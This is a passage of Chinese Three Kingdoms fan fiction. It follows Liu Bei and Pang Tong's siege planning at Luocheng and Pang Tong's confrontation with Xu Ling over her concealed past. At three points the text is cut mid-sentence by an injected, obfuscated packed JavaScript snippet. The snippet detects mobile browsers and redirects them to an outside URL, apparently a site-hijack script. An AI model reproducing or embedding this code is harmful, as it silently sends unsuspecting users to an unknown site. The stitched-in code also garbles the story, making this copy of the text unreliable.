刘封从西路军赶来雒城时,只带了一小队扈从。先锋营除去张南所部,尽皆出自魏延一手训练。这些虚实相生的诱敌策略,也是他送徐绫去中军营回来之后对自己所说,父亲和庞统一定知情。若此时居功,既不明智、也没必要。刘备摇摇头,并不赞同这番妄自菲薄,拍了拍他的肩膀,语气郑重: “即使百战之兵,因号令不明而进退失据,以致佯败变溃败的先例也比比皆是。我儿初至, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486430|202034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便能临阵退敌,何必自谦?”他望向刘封手臂上的渗血布条,“我儿辛苦,快去找医官重新仔细包扎一番再回去。” 刘封抬眼望向父亲,云隙漏出一道微光,嫩芽随着和煦的春风晃了晃,被辉映得格外绿意葱茏。虽然唇角并未像刚才那般扬起,眸中却荡漾出更为真实的暖意。他喉结滚动,垂眸按捺住翻涌的情绪,抱拳告退。庞统麈尾轻摇,眼波流转,在父子间打了个转,笑而不语,只低头静静翻阅着军报。 西路军方面,诸葛亮已经顺利攻克江州,之后分兵三路,自己坐镇中军,由垫江而上。张飞取道巴郡,赵云绕路江阳。庞统把雒城舆图收好放到一边,拿出此前张松所献的益州全境舆图展开,从旁边一只小匣中拈起一枚赭色石子,在江州的位置落下。又抓出一把青黑石子,逐个置于雒城以西各郡县。远远一看,石青色连成一片,朝成都汇聚而来。刘备盯着舆图,皱了皱眉: “这些归附郡县都可为我军提供粮草补给,张任乃蜀中名将,应能看出屯田并非命脉所在。固然兵法有云:救必开之,守必出之。然益州形势复杂,北边张鲁、东南孙权,皆非易与之辈。若张任不愿出城搦战,而是静待我军生变,士元可有解法?” “我军数次调遣偏师袭扰成都至雒城粮道,城中纵然储备丰富,也难免人心浮动。何况近郊早已坚壁清野,未必真有多少余粮。哪怕张任坚信,我军并不仰仗这些新垦之田,一意闭城坚守。待数月后麦黄之际,雒城守军在城头看我们割麦入粮,怎能不议论四起?届时,西路若行军顺利,已对成都形成合围之势,则成都迫于压力、必然难以支援雒城,此消彼长之间,守军士气只会更加低落。” 庞统有条不紊地将石子收回匣中,重新展开那幅雒城舆图,用麈尾指向图中标注的麦田位置,满是胜券在握的气定神闲: “如今虽过霜降,但天气尚暖,纵然毁田,也可勉强补种。故而,雒城军今晨派刘璝、雷铜偷袭,就是在试探虚实,看毁田之计能否实施。既然已生此念,若张任执意不出,万一我军西路确有不顺,则守军必怨他不该坐失反击良机。统近观风向,阴虚渐盛、寒候将至。预计数日之后,即便播种入土,也难以成活,只能等地气回暖,方可重下春麦。对张任而言,赶在我军宿麦越冬之前出城毁田,百利而无一弊。毁田若成,彼士气大振;若不成,也可杜绝非议。” 刘备点头,神情却并未因此而轻松下来,反而眉头紧锁,目光沉沉凝注在那些交叉记号之上。开垦荒田的原本构想是,先摆出一副长期围困的架势,营造重兵驻守的假象,待到雒城军前来袭扰试探,再露出一点破绽,让他们觉得此地对刘备军而言固然重要、却并非铜墙铁壁,进而抬高入场价码,引诱雒城军派遣主力出城决战。 在这个计划里,无论雒城军是选择派遣主力强行毁田,还是铤而走险,以毁田为诱饵、实际派遣一路悍将直捣中军大帐。田亩被毁,都是其中无可避免之事。因此,农人最初以兵丁为主,仅辅以少量流民。 但流民闻风而来的速度远超预计,短短一月之间就越聚越多,比例从不足九一,变为将近五五。对兵丁而言,即使毁田,军中也不缺粮草,刘备还允诺过攻克成都之日将有重酬。可流民对这些毫不知情,他们还盼着就此安顿下来,待到夏日就能收获。一旦被毁,他们只知道辛勤劳作许久的成果被烧成灰烬。而且农时已过,宿麦种子也没法再用,那该是怎样一番绝望? 14. 十四 言有不尽 对于刘备此时的沉默,庞统并未感到意外。 五年前,庞统还在周瑜麾下效力,应该也是一个深秋,他正指挥民夫们用木锹清刮淤泥、预防来年春汛。午歇时分,他与几位胥吏围坐在河道旁边夯起的简易高台上,啃着与民夫们手中一般无二的黍饼。就在这时,他听说了刘使君率众南撤、十余万百姓扶老携幼相随的消息。 秋风乍起,头顶划过几声大雁的唳鸣,一蓬芦花飘散,瞬间模糊了视线。两年后,周瑜过世,江东诸位好友都理所当然地认为,他这位南州士之冠冕有许多选择。但庞统自己知道,早在那个秋芦飞雪的午后,心之所向就已经无比明晰。 可也正因为无比明晰,他此刻必须要坚持劝谏: “明将军,刘循张任此前始终据险而守,如今能诱其试探,已殊为难得。今日一战,有赖长公子指挥得当,雒城军或已深信,我屯田诸军并非无隙可寻,只是仅凭偏将袭扰不能得逞而已。待其另遣大将前来毁田之时,若我军能一战击溃,再趁其人心不稳强攻,则破城之日可期。刘璋暗弱,一昧以金帛换取士族支持,奖惩不明、法令无度。雒城若失,益州诸家又有几人愿意为他死守成都?他纵不肯归降,城中内应鼓噪,又能支撑多久?成都府库富饶、存粮充足,我军唯有速取此地,方可真正安顿。” “寒候过后,宿麦一旦遭焚,便回天无术了吧?” 刘备轻声问道,他并没有跟随庞统描绘的图景畅想未来入主成都的盛景,目光仍然在舆图上的麦田和军营之间流连,眉头紧锁,专注盘算着眼前的战事。庞统一撩衣袍,肃然下拜,恳切道: “明将军,军中粮草尚足,可以周济民众,剩余麦种亦可果腹。即使田苗被毁,只要来春之前能攻克雒城,城中仓廪贮有春麦种子,也可不致再误农时。将军怜惜眼前民众,统亦不忍。然若因一时不忍,使战事绵延,则黎庶所受之苦,远不止于此。” “士元快快请起,”刘备稳稳托住庞统手臂,将他扶了起来,“卿一片拳拳之意,备岂会不知?然,我征伐同宗,已是无奈之举。若再弃属民,纵得成都,何以安众?士元方才提到,雒城军轻易不愿出城,此番试探,是因为当此内外不宁之时,毁田收益极大。那么,既然同样要派遣精兵渡江袭扰,为何不索性直捣我的中军大帐呢?” “雁江横于雒城之前,使得我军攻城固然困难,雒城军出城袭扰,也同样会被水障延缓。江边树林此前已被文长领军伐平,雒城军渡江之后若想隐匿行踪,唯有绕远。不仅损耗体力,且一旦被我军缠住,便成背水之局。我军只需加派游骑昼夜窥察,稍有动静,即可集结兵力破之。况且,雒城军多与我军先锋交手,对中军虚实并不了解。张任乃蜀中名将,应该不会做此轻率之举。” “士元言其审慎,我却愿换一种说法,”刘备笑了笑,屈起手指,在舆图标注的屯田位置轻叩一下,“对彼而言,收益仍然欠奉。” 庞统手中的麈尾停止了摇动,短暂的诧异从那双桃花眼里一闪而过,随即化为近乎于无奈的了然。他抬头静望着刘备,只见他手按佩剑,眼中光亮大炽,声音却依然平和,似乎只是在交待一件寻常军务: “再拨黄汉升一部前往此处驻守,约束民众耕作有时、不可擅自行动。我留驻中军,静候刘循张任。” 与亲卫出身、初涉领兵对敌的张南不同,黄忠是指挥过军团协同作战、经验丰富的宿将。把这样一位要员派出,几乎意味着宣告对方,中军大营兵力空虚,可敢前来一搏? 面对如此明晃晃的挑衅,若雒城军放弃出城搦战,无异于彻底认输,除非成都能从西路军诸葛亮手中占据优势,否则雒城表里交困、士气低迷,能经得住几番强攻?若雒城军仅以毁田为目标,补充了黄忠一部的先锋营足以从容应对,对方几番野战不利之后,与前者殊途同归。若雒城军甘冒奇险,只派疑兵做出毁田之举,实际由刘循或者张任亲率主力直取中军,那更是求之不得的局面。 然而其中最大的风险,就是刘备将会直撄对方精锐。 庞统微微张口,他有很多话想说。比如我军的平原作战能力远胜对方,以屯田为诱饵逐步消耗才是稳妥之选;比如张任名声籍甚,一旦决意出战,必然怀抱死志、悍勇异常;比如刀枪无眼,明将军身负兴复汉室重任、不该以身试险。但转念之间,这些话又被他一一吞咽回去,反而极轻地笑了笑,退后几步,略整衣冠,面向刘备深深长揖: “明将军一言既出,”他的声音比方才低了几分,却异常笃定,“统,定然为将军谋划万全。” 刘备再次稳稳托起庞统,歉疚道: “士元自凌晨至此时水米未进,是备之怠慢,快用些朝食吧。” 候在帐外的傅肜会意,指挥段集带着一小队士卒,将餐食在两人案前一件件摆好。留意到他几次瞥向自己、却欲言又止,庞统思量片刻,随即了然一笑,开口道: “徐家贤侄幸得伯鱼看顾,我替她伯父在此谢过。” 傅肜愣了一下,他想说的话确实与徐绫有关,但并不好听,应该不适合当着刘备的面说出来。今晨从赞卡那里听说,徐绫从睡梦中惊醒还不忘攥着发簪防身,傅肜就再也忍不住,想替她讨个说法。诚然,吃穿用度方面,徐绫没遭遇什么委屈,而且因为与刘封的交情,还颇受优待。但傅肜在这间小帐迎来送往过许多贵客,他太清楚被圈禁本身是一种怎样的折磨,哪怕那笼子是金雕玉饰。 这样想着,傅肜敬谢不敏,并未多言。庞统对他的冷淡恍若未觉,喝了一口汤饼,笑眯眯再次开口: “听说徐小郎君为伯鱼画过一幅小像,阿佥收到之后一定很欢喜吧?” “犬子生性寡淡,即使欢喜,也鲜少表露。” 虽然这样说着,但提到长子傅佥,傅肜的神色还是自然而然变得温柔许多,原本需要再三斟酌的话也索性顺了出来: “徐郎君绘艺精湛,众士卒听闻是左将军派她为大家作画聊寄思念,皆因此感念将军恩德。却不知缘何仍遭困厄、致使心生忧惧?” “伯鱼待人如此至诚,真仁义之士也。” 庞统放下羹匙,由衷赞叹了一句。擦了擦嘴角,展开益州全境舆图,麈尾拂向北部汉中郡地界,问道: “伯鱼久历行伍,统试请教之。是否只要身强力壮、熟知山野,即可孤身启程连续翻越秦岭与米仓山、从长安抵达汉中?” 虽然不明白庞统为什么抛出这样一个风马牛不相及的问题,傅肜还是认真琢磨了一会儿,郑重答道: “自长安至汉中有四条要道。如今褒斜道已被张鲁毁坏,陈仓道绕远且时有战事。子午道地形复杂,不仅山势起伏、林深谷险,而且雾气弥漫、极易迷路或失足坠崖。最凶险的是,气候极不稳定,早晨明明暖阳当空、入夜却寒刺侵骨,或者山脚尚且干燥清爽、山腰就阴雨连绵。傥骆道也同样不好走,途中需要翻越的崇山峻岭远超其余三条,尤其太白山南侧,道路崎岖蜿蜒、瘴疠横行。” 他伸手在舆图上依次指明了那四条要道,又向南在米仓山的位置划定: “这还只是秦岭一段,米仓山荆棘险途亦无不及。若在此间行军,最好有当地向导引领,两三人一组,不可冒进。至于军师垂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486431|202034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问之事,夫济大事者、皆有运势相助。若逢天公作美,亦非全无可能。” “多谢伯鱼教我。” 庞统笑了笑,重新悠悠然摇晃起麈尾小扇。刘备仍然沉默着,只有极其轻微的咀嚼声似有若无地从嘴角逸散而出、又倏忽隐去。傅肜抱拳告退时一脸茫然,刘备却心如明镜:徐绫能全须全尾出现在这里,固然有点本事,运气也实在极盛。没有舆图、没有同伴、还要躲避追兵,多半是依托河流走势与部分古道判断方向,再去荒山野岭间随意穿行,这比直接选择子午道或傥骆道更加艰危。虽然她在中军帐谈起这些时甚至带了点意犹未尽的津津有味,但深想下去,不过无知者无畏罢了。 一个月前初见徐绫时,刚巧张南调入先锋营不久,傅肜缺少了一位副手。所以刘备没有将她送去葭萌城,而是想让她接任张南,待益州大局已定,再调入府中负责护卫眷属。刘备常年在外征战,与刘禅刘永两位亲子相处不多。记得从前在新野,徐庶对刘封悉心教导,如今这位长子勇武宽仁,令人欣慰。徐绫在中军帐的言谈举止酷肖徐庶,一定也能将两位幼子教育成材。 庞统劝阻了这番提议,理由是徐绫没学过长兵器、又不会马战,而且对自己的剑术颇为自傲,傅肜很难辖制。刘备对此并不苟同,近卫亲兵很少直面敌军,傅肜作为上官也人品可靠。但庞统与徐庶是故交,论起来算得上徐绫的叔父,以这样的身份要求亲力照管自家子侄,他也不方便对别人的家务事置喙过多。 但此刻刘备彻底明白,庞统真正想劝阻的,并非只是徐绫接任张南这项安排。在他眼里,徐绫根本就尚未做好入仕准备。 “士元曾劝我言,用人不必求全,怎么对子衿倒如此严苛?” 毕竟是徐庶的子侄,傅肜还用了“困厄”、“忧惧”这样的字眼。刘备再怎么信任与尊重庞统,语气里也忍不住带出了几分埋怨。庞统眼中那些仿佛永不凋败的鲜妍桃花此时荡然无存,枝桠覆满霜雪,凛冽而凌厉分隔着万顷晴空: “她这一路倚仗运势太多,又不肯承认,还以为全然凭借自己的本事。正如亲兵近卫,因为与主君关系匪浅,常常备受礼重。可大家真正尊崇的哪里是他们?分明是他们身边的主君。若有人因此识己不明、滋生虚骄,则必以此而兴、以此而亡。” “所以士元留她,是想让其静心内省,若能从此逊志时敏,届时再委以重任也不迟?” 刘备深望着庞统,见他毫不犹豫地点了点头,完全没觉得“委以重任”是什么高不可攀的妄言,嘴角不禁泛起饶有兴味的弧度: “士元思谋深远。如此苦心为何不与子衿分说明白?连伯鱼都忍不住来替她找公道,可见那孩子真是担惊受怕得很。” “他朝若当真被委以重任,艰难困苦皆远胜于此时。因她是外乡人,怠之;见她年纪轻,慢之;识她是女郎,薄之。倘若连眼前这点冷待都要我来安慰,那时又去找谁诉苦?” 刘备被噎了一下,却并未因此感到冒犯。本以为自己因怀念徐庶而对徐绫爱屋及乌,不舍得将她放去葭萌城,还打算指派为亲兵护卫,这一连串举动已经足够称之为毫无公允、全是私心,没想到庞统的偏爱来得更加不讲道理,倒把自己衬托得太过保守。 “士元是否对子衿期许过高?若她耽于忧惧、以致于未能内省呢?还是说,有什么我不知道的隐情?” 冰雪消释,从桃枝簌簌落下,又归于静默,好像那一瞬的涣然光华也是错觉。庞统眸光微微闪烁,以扇掩唇,嗤笑一声: “若是这样,那就趁年华正好,赶紧回葭萌城,找个男人嫁了吧。” 15. 十五 见微知著 赞卡蹑手蹑脚地从徐绫的小帐里退了出来,朝静立等候在外的庞统摇了摇头。 庞统从帷幔的缝隙向内瞄了一眼,不禁以扇掩面,轻轻笑出声来。只见徐绫单膝跪坐在案几旁,另一条腿屈起,左臂压着案面支撑起身子,肩背驼得像一张弓,整个人就那么毫无姿态地半趴半拱在那里。唯有执笔的右手在画纸上疾走,墨线连绵不绝,掌缘满是墨渍,偶尔抬手拨一拨滑落的碎发,面庞立即也沾染上一抹焦黑,但她浑然不觉,只是全神贯注在笔锋之上。 她画的依然是长安城中的夏侯府,但不再是那般连仆从杂役都赫然在册的精细绘卷,而是寥寥数笔勾勒出墙垣轮廓,随后几道折线定下院落与厅堂的方位,大量工笔细描都被用于勾勒高低层次和标注布防视野。 何处地势平阔,守卫轮值是否严密? 何处亭楼高耸,箭塔灯火是否明亮? 何处临水成池,往来回廊是否狭窄? 虽然线条并不繁复,但墨色浓淡之间,半座夏侯府的动静都被囊括其中。徐绫并没有纠结于自己未曾踏足的宅邸另一侧,只是跌坐回案几后,盯着画中一处制高点怔怔出神。 她记得,新婚夜那晚北风骤紧,月隐星稀,箭楼之上的风灯也被吹得明灭不定,因此在亭台与院墙檐落之间形成了一片光影模糊的暗角,自己就是从那里借助树枝攀援到墙上,然后用嗣音剑嵌入砖缝之中,依靠臂力悬挂而下,以全身为高度缩小落差,最后成功逃出。 她的夫君夏侯称与从兄夏侯楙相交甚厚,夏侯楙夫人又是曹操长女,他们夫妇前来观礼时,数不清的仆从携带着琳琅满目的珍奇贺礼前呼后拥,整座宅邸上至管家卫长、下至仆役小卒,人人皆得赏赐,极为热闹。 按理说,箭楼作为俯瞰瞭望之所,是护持全府的阵眼所在,应当有亲兵轮值看守,保证灯火始终通明。可偏偏新婚之夜,守卫们不知是得了赏赐去□□玩耍,还是饮多了酒酣睡不起,总之那里烛火黯淡、人影全无。 可如果没有这样的好运气呢? 徐绫循着自己笔下的线条蜿蜒望去,那么院落之中再无盲区,不远处就有健仆往来。而且只需呼号一声,相距不远的侧门亲兵也能赶来增援。甚至于,若箭楼轮值的护卫精于箭术或配有劲弩,她冒险现身之后,还不等跑到墙边,就会被箭镞命中。 这就是庞统要求她绘制夏侯府详图的原因么?嘲弄她一个月前在中军帐那句大言不惭的“并非难事”? 想到总是隐藏在麈尾后的桃花眼,那家伙或多或少肯定存了这样的坏心肠! 徐绫摇摇头,努力把这些小里小气的揣测抛诸脑后,凝神观察这幅墨迹未干的画卷,试图从中找出庞统真正的命题思路。他有了夏侯府的格局与布防,可以做什么用呢?刘备军对于雒城尚且围困数月而不能克,兵临长安、乃至白刃巷战去争夺一座府邸,更是遥不可及,因此庞统并不需要知道夏侯府究竟是什么样子。 徐绫换了个姿势,支起下巴,继续目不转睛地研读。看着看着,印象中恢弘堂皇的深宅大院逐渐变得渺小起来:那不过是长安一隅,城墙以外还有巍巍秦岭,脚下相连的是富庶安宁的汉中郡,从这里穿越险峻奇美的米仓山,就可抵达汉蛮杂居的三巴之地。 既然她能用这种方式画出夏侯府,假以时日,应该就能以同样方式画出长安城、画出汉中郡、画出秦岭和米仓山。 她可以画出走过看过的每一寸土地,而沿着这些绘卷再走一次的,可能是她自己,也可能是其他人,甚至可能是一支军队。 “阿绫,好久不见。” 一丝铁锈味窜入鼻腔,将徐绫从沉思中唤醒。她循着这股腥气抬头,恰巧与掀帘而入的刘封视线相碰。 “阿兄受伤了?” 注意到刘封左臂上一道血肉狰狞的创口,徐绫起身,快步迎了上去。今晨战事明明未曾波及中军,想必规模不大。即使亲冒矢石一时不慎,以刘封的尊贵身份,也应该是医官最先照看之人,怎么竟任他这样在营中来回走动? 徐绫小心翼翼地捧起刘封左臂细细查看:皮肉翻卷,乍看之下确实可怖。然而,作为一处箭伤,里面既没有铁屑残留、周边也没有沾染污渍,显然已经被人精心处理过,只差最后包扎而已。 “阿兄也太不小心了。” 徐绫声音微微发颤,抬眼朝他望去,眸中一片水光潋滟,似嗔似怨。她牵过刘封手腕,领着他绕到案几后,将他按坐下来,自己从旁边找出一只包裹,先用细布浸了水,将双手擦拭干净,然后回到他身旁,用另一团细布蘸着药粉,轻轻压进那些殷红的裂谷之中。刘封的手臂肌肉不受控制地紧绷起来,脸上却晏然自若,只有眉尖微微蹙起: “这不是我让人给你送来的归明散么,怎么没用?” “那时我的肩伤就快痊愈,无需浪费这样的好药。如今给阿兄敷上,正得其所。” 徐绫一边说着,一边托起他的手肘,用细布绕过左臂,一圈一圈紧紧缠绕起来。刘封游目四望,从绘有夏侯府详略的画纸上一扫而过,未曾稍作停留,倒是在发现画纸旁边的兔毫漆笔时,唇角浮现出一抹欣慰笑意: “那笔可还趁手?” “阿兄送的东西,自然都是最好的。” 徐绫温驯地应答着,包扎的动作没有丝毫停滞。刘封收回视线,垂眸在她专注而沉静的神情上瞩目良久,轻声道: “阿绫当日在父亲面前如何美言,我已尽知。今朝借这等小伤前来,实则想专门向你致谢,”他用没有受伤的右手探入怀中,取出那枚刻有副军的龟钮金印,向徐绫递去,“此枚印信,是在你那番话后不久,父亲所赐。阿绫精诚待我,我也会精诚以待阿绫。” “绫既然应允,敢不竭尽全力,”徐绫语气平静,最后在他手臂上系了一个结,“只是我如今出不去这间小帐,不知如何帮助阿兄?” “一时之权而已,阿绫宽心,父亲与士元先生自有考量。” 刘封活动了一下缠绕布条的胳膊,另一只手仍然捧着金印,目光一瞬不瞬地落在徐绫身上,显然期盼她接过去看看,再像她之前屡次向自己表明的那样,说些什么竭诚什么忠贞之类的誓言。但徐绫没有伸手,只是定睛打量着那枚黄澄澄的印信,点了点头: “用料名贵、雕琢细致,果然精美异常。” “阿绫,你究竟想要什么?” 刘封眉头紧锁,将金印缓缓收回怀中,望向她的眼神里半是迷惘、半是急切。徐绫淡淡笑了笑: “阿兄心如明镜,绫何须多言?” 刘封默然,他怎么会不知道,一个能在重压之下仍旧心思敏锐、抓住一切机会完成任务的聪明人,想要的当然是施展这些能力的位置,可偏偏这又是他此时不能给的。他不能让刘备产生一丝丝怀疑,觉得他与徐绫之间存在什么交易。他的宽厚念旧、他的重情重义,必须干干净 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486432|202034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 净、不牵扯任何利益。徐绫固然是聪明人,但并不值得为她冒险去主动向刘备争取什么,只能用各种器物来补偿她。 “阿绫竟不知我的苦衷么?待战事稍定,自有你施展之处,那时我必全力助你。” “徐家贤侄!” 庞统摇着麈尾笑眯眯走了进来,似乎很意外刘封也在这里: “不知长公子在此,统改期再来。” “先生留步,”刘封起身叫住庞统,“营中医官粗笨,不如阿绫体贴,我请她帮忙包扎而已,并无要事,这就告辞。” 庞统侧身让开道路、拱手作别,待到刘封背影完全从视野中消失,才款步走向徐绫。一边挥了挥小扇,示意她不必多礼、坐下说话,一边抄起案几上的画作细览: “分率准确、高下得当,方邪与迂直亦有意做以矫正,准望与道里虽有偏差、倒也不算离谱。就第一次绘制舆图而言,很不错。” 庞统放下画纸,桃花眼里春意盎然,万千锦簇竞相盛开。徐绫却是一头雾水地虚应着,既没听懂这一连串术语,也不知该说什么。庞统并不意外她此时的懵懂,从袖中拿出一卷帛画,在案上徐徐展开。 徐绫凑过来细瞧,这是一幅益州全境舆图:山川河道层层铺陈、郡县城邑尽在其上、关隘渡口皆有标识、营盘驻军一望即知。虽然线条纵横、记号密布,但错落有致、脉络清晰、远近曲折一目了然,想必绘图之人早在未落笔时,一切细节均已熟记于心。 庞统用余光打量着徐绫,只见她本就圆润的眼睛此时显得更加饱满,不自觉地附下身去想看更多细节,连呼吸都下意识屏住了。过了好一会儿,她如梦方醒般直起身来,脸颊泛起一圈浅浅的绯色,像是忽然意识到什么,扯过自己那张夏侯府舆图,团成一团,就想往袖子里塞。庞统大笑起来,举起麈尾,朝她手背轻轻一敲: “拿出来,藏什么藏。” 徐绫缩了缩手,讪讪把自己那幅图放了回去。庞统慢条斯理将帛画折叠收好,温声道: “绘制此图之人,出身益州士族,世代居于成都,官至别驾。府中藏书颇丰、于地理水文之道浸淫多年,积毕生所学方得此图。你此刻不如他,是自然的。他平生第一次绘制舆图时,也未必比你此刻更好。” 徐绫羞赧神色尚未褪却,黑亮的眼珠滴溜溜转了转,压着唇角抿出一丝干巴巴的笑。庞统看了看那张被她揉皱的夏侯府舆图,实在没忍住又噗嗤笑了一声,被徐绫瞪了一眼,迅速摇起小扇,清了清嗓: “我在荆州的府中有不少关于如何制作舆图的书简,待写信命人送来。你有绘画根基,触类旁通,应该不难。” “承蒙叔父指点,绫感激不尽。” 徐绫正襟危坐,面向庞统肃然敬拜。庞统摆摆手,用小扇在她交叠的手掌下轻轻一托: “不过,你挑主君的眼光,倒是与挑夫君的眼光一样差劲。” 徐绫一脸难以置信地望着他,庞统意味深长地笑了笑: “那幅用于跟夏侯氏议婚的仕女图、与旁边你粗粗勾勒的夏侯称小像,论精致虽不可同日而语,但笔法习惯分明就同属一人。左将军与魏文长看不出来,你当我也看不出来么?我说是你自己挑的夫君,有何不对?至于主君……” 他用麈尾漫不经心地指了指案几旁那些徐绫为刘封包扎之后还没来得及整理的剩余药粉与细布: “那位,也值得你效忠?” 16. 十六 凤雏,雏凤 庞统轻摇麈尾,从容欣赏着徐绫的表情变化。她先是出现了片刻的全然僵硬,随即下意识开口,可刚发出半个音节,又立刻闭紧,仅仅几息之间,脸上的惊疑就收敛为一片恬淡,定定望向庞统、安静地等待下文。 见她没有拿出那些一听就假的借口来浪费时间,庞统笑了笑,仿若金乌坠入平湖,眼中泛出粼粼波光: “你编造的殉葬之说很巧妙。想必,除了夏侯称死因,其余部分尽皆属实,所以讲起来才会如此笃定。” “叔父何出此言?可是因为赏金太高?您有所不知,夏侯称虽然非嫡非长,却备受父亲钟爱。夏侯渊壮年失子,才会如此反常。” 徐绫眨眨眼,闪烁出恰到好处的委屈无辜。双手也没闲着,把剩余的素白细布一圈一圈慢慢绕紧,与归明散收拢到一处,对庞统这番颇有些冒犯的猜忌,显示出宽宏十足的理解。 “我有所不知?”庞统失笑出声,“徐子衿,真正有所不知的人,是你和元直。” 庞统手中的小扇忽起忽落,湖面随之荡漾出几卷涟漪,一圈一圈朝她眼底散去: “我出身襄阳庞氏,虽非阀阅世家,但对种种风闻轶事耳聪目明。有件事若你们早知道,肯定就不会在议婚画像上刻意按照他的面相来修改你的容貌以期盼中选。那位夏侯小郎君酷爱以军旅战阵为戏,嬉戏时凡有违者,鞭笞杖责,都是常态。那些玩伴多为诸夏侯曹的子弟亲眷,他待他们尚且如此暴虐,颍川徐氏不过寒族,他对你又能有几分爱重温存?” 徐绫眼里一片无辜,幽黑的眸光沉沉未动,将那些漪澜尽数吞噬而没有丝毫回应。这桩轶事,她之前确实不知。西川的午后,阳光和煦,她的手掌也很温暖,可脸颊却是冰凉的。从耳廓顺着下颌抚向脖颈,指腹所到之处,激起一阵细密的震颤,仿佛还能感知到新婚夜遭受的掌印与掐痕。如果早知道白日里的俊朗少年,入夜竟是那样一番凶恶模样,她怎么会自投罗网呢? “如叔父所言,颖川徐氏不过小族,能高攀夏侯氏,与曹公之女成为妯娌,忍耐一些世家纨绔的趣味,有何不可?”她朝案上的夏侯府详图信手一指,在转角箭楼的位置画了一个圈,“若我当真新婚夜杀夫,最多走到这里就该被万箭穿心了。” 庞统笑着摇了摇头,并未再争辩什么,转而从袖袋里抽出一卷帛书放在案上。徐绫稍稍一瞥,认出这是自己一个月前在中军帐呈递给刘备和庞统的徐庶手书。庞统挥着小扇,眼风轻轻一转,带有几分了然笑意朝她望过来: “信中被模糊掉的,全是关于夏侯称之死的详情。藏木于林,则人莫知其所匿。像你这般只隐去欲盖之迹,与直陈何异?” 徐绫眼睫闪了闪,庞统得到这卷帛书已经一个月,足以让他成功破解徐庶信中密语。那么,这些猜测已经告诉刘备了吗?在旁人看来,无疑是她这位小门小户出身的孤女从婚事中得利良多。蒙受提携却在新婚夜杀夫,这样背信弃义,与当年两次弑父的温侯吕布有什么区别?更何况,她又没有吕布的不世之勇。刘备知道以后,还愿意为她提供庇护吗? 徐绫的手指悄悄缩进袖中,摸到了那枚铜簪脚已经被磨砺得极为锋利的碧玉簪。目光掠过庞统骨相分明的颈项,以及握着麈尾的那只保养并不算得当的手。隔着这张案几,她有足够自信对庞统一击必杀。 可杀了庞统,她要如何从这座防备森严的军营中全身而退呢?这需要数倍于新婚夜的好运气,她敢押宝这份虚无缥缈吗? 徐绫垂下眼眸,周身的空气似乎都变得稀薄,无边无际的窒息感一层一层侵染而来。她浅淡而绵长地吸了一口气,强迫自己镇定下来,重新思考当前局势。 新婚夜,夏侯称吼退了前来查看情况的仆从,房间内只有他们两人,如今死无对证。夏侯渊对此讳莫如深,只敢对外宣称新妇主动殉情。至于那晚发生了什么,其实已经是无头公案。况且,自己既无亲眷帮衬、又有追兵威胁,除了在刘备麾下谋求庇护,还能去哪里呢?因此无论与夏侯称之间发生了什么,她都不会做出任何对刘备不利的举动。 庞统看似来势汹汹,却并没有从进帐伊始就抛出帛书拷问,反倒优哉游哉给她指点画作,展开益州全境舆图的时候也毫无避讳,还主动提出要赠予书简助她研习。由此可见,盘问新婚夜那些遮遮掩掩的地方只是一层表象,必须跳出这些在细节上的纠缠,才能挖掘出他的真实意图。想到这里,徐绫将玉簪往袖袋深处推了推,有些疲惫地叹气道: “叔父如此疑心,绫百口莫辩。敬请禀明左将军,如何处断,绫自当领受。” “徐子衿,你很有点小聪明。但太过仰仗这些小聪明,总以为凡事皆有万全之策,什么都不愿意舍弃,这很危险。” 庞统微微倾身,直直望向徐绫眼底: “我猜,你涂改元直手书之时,犹豫过是否应该也在其他地方用血污掩饰一二。之所以没这样做,是因为你与孔明素不相识,既不希望他看到这封信就得知全貌,又希望元直那些拳拳之意能一字不漏呈现出来,以此谋求庇护。” 他用麈尾朝着漆笔轻轻一拨,笔身就骨碌碌从画纸上滚落到案几另一侧: “殉葬的说辞九真一假,其实很难戳穿。左将军仁德之名著于四海,若你肯冒险隐瞒手书,待故人之子的身份落定,他自会予以照拂。但你太贪心了,舍不得元直在信中为你写下的那些褒奖之词,不甘心在葭萌城作为眷属安然度日。于是先在长公子身上下注,又在左将军面前卖弄,这叫我如何不注意呢?” 图穷匕见。 徐绫彻底明白了他此行目的。算算时日,如果徐庶那封信被送去给诸葛亮破译,回信大约就在这几天,甚至可能已经呈递到刘备案前。以伯父与他的交情,诸葛亮或许会在信中提出要将自己视作女儿视作学生,带去身边照拂。因此从走进这间小帐开始,庞统就极为耐心地在经意与不经意之间,一步一步将才学、家世和谋算展露得淋漓尽致,半是吸引半是胁迫。 